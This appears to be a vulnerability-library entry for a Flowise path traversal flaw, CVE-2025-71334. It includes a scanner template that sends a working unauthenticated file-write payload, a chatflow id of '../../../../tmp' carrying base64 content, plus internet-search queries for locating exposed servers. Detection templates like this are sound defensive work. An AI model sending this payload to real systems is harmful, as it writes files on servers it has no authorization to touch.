/Vulnerability Library

Flowise - Path Traversal

CVE-2025-71334
Verified

Description

Flowise <= 2.2.8 contains a path traversal vulnerability caused by missing validation of chatflowId and chatId parameters in file handling, letting unauthenticated attackers read and write arbitrary files, exploit requires no authentication.

Severity

Critical

CVSS Score

9.8

Exploit Probability

4%

Affected Product

flowise

Published Date

July 29, 2026

Template Author

theamanrawat

CVE-2025-71334.yaml
id: CVE-2025-71334

info:
  name: Flowise - Path Traversal
  author: theamanrawat
  severity: critical
  description: |
    Flowise <= 2.2.8 contains a path traversal vulnerability caused by missing validation of chatflowId and chatId parameters in file handling, letting unauthenticated attackers read and write arbitrary files, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can read and write arbitrary files, potentially leading to remote code execution and full system compromise.
  remediation: |
    Update to version 3.0.6 or later.
  reference:
    - https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-q67q-549q-p849
    - https://nvd.nist.gov/vuln/detail/CVE-2025-71334
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-71334
    epss-score: 0.03903
    epss-percentile: 0.89279
    cwe-id: CWE-73
  metadata:
    verified: true
    max-request: 2
    vendor: flowiseai
    product: flowise
    shodan-query: title:"Flowise"
    fofa-query: title="Flowise"
    censys-query: services.http.response.html_title="Flowise"
  tags: cve,cve2025,flowise,lfi,path-traversal,file-write,vkev,intrusive

variables:
  name: "{{randstr}}"

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    matchers:
      - type: word
        part: body
        words:
          - "Flowise"
        case-insensitive: true
        internal: true

  - method: POST
    path:
      - "{{BaseURL}}/api/v1/chatflows"

    headers:
      Content-Type: application/json
      x-request-from: internal

    body: |
      {"id":"../../../../../../../../tmp","name":"{{name}}","deployed":false,"isPublic":false,"flowData":"{\"nodes\":[{\"id\":\"a\",\"data\":{\"category\":\"Document Loaders\",\"inputs\":{\"key\":\"data:text/plain;base64,bnVjbGVpLWN2ZS0yMDI1LTcxMzM0,a:{{name}}.txt\"}}}],\"edges\":[],\"viewport\":{\"x\":1,\"y\":1,\"zoom\":1}}","chatbotConfig":null,"apiConfig":null,"analytic":null,"speechToText":null,"type":"CHATFLOW"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "FILE-STORAGE::"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '\\"FILE-STORAGE::\[\\\\\\"(.*?)\\\\\\"\]\\"'
# digest: 4b0a00483046022100f81e82e2d7860273c8579c099c140189c41b4348e55296d2f9b502dbd8e1d5cc022100ecc18167aa62944f6eedef2ec90156caec1b1412d06de5ac3ff7d088391a0b18:922c64590222798bb761d5b6d8e72950
9.8Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2025-71334
CWE ID:
cwe-73

References

https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-q67q-549q-p849https://nvd.nist.gov/vuln/detail/CVE-2025-71334

Remediation Steps

Update to version 3.0.6 or later.